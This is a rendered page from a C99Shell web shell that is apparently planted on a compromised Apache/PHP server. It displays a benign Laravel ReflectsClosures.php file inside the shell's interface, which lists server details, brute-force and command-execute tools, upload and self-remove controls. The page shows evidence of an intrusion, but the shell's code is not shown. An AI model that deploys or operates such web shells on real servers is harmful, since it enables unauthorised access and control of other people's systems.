!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/support/Traits/   drwxr-xr-x
Free 13.25 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReflectsClosures.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Support\Traits;

use 
Closure;
use 
Illuminate\Support\Reflector;
use 
ReflectionFunction;
use 
RuntimeException;

trait 
ReflectsClosures
{
    
/**
     * Get the class name of the first parameter of the given Closure.
     *
     * @param  \Closure  $closure
     * @return string
     *
     * @throws \ReflectionException
     * @throws \RuntimeException
     */
    
protected function firstClosureParameterType(Closure $closure)
    {
        
$types array_values($this->closureParameterTypes($closure));

        if (! 
$types) {
            throw new 
RuntimeException('The given Closure has no parameters.');
        }

        if (
$types[0] === null) {
            throw new 
RuntimeException('The first parameter of the given Closure is missing a type hint.');
        }

        return 
$types[0];
    }

    
/**
     * Get the class names of the first parameter of the given Closure, including union types.
     *
     * @param  \Closure  $closure
     * @return array
     *
     * @throws \ReflectionException
     * @throws \RuntimeException
     */
    
protected function firstClosureParameterTypes(Closure $closure)
    {
        
$reflection = new ReflectionFunction($closure);

        
$types collect($reflection->getParameters())->mapWithKeys(function ($parameter) {
            if (
$parameter->isVariadic()) {
                return [
$parameter->getName() => null];
            }

            return [
$parameter->getName() => Reflector::getParameterClassNames($parameter)];
        })->
filter()->values()->all();

        if (empty(
$types)) {
            throw new 
RuntimeException('The given Closure has no parameters.');
        }

        if (isset(
$types[0]) && empty($types[0])) {
            throw new 
RuntimeException('The first parameter of the given Closure is missing a type hint.');
        }

        return 
$types[0];
    }

    
/**
     * Get the class names / types of the parameters of the given Closure.
     *
     * @param  \Closure  $closure
     * @return array
     *
     * @throws \ReflectionException
     */
    
protected function closureParameterTypes(Closure $closure)
    {
        
$reflection = new ReflectionFunction($closure);

        return 
collect($reflection->getParameters())->mapWithKeys(function ($parameter) {
            if (
$parameter->isVariadic()) {
                return [
$parameter->getName() => null];
            }

            return [
$parameter->getName() => Reflector::getParameterClassName($parameter)];
        })->
all();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--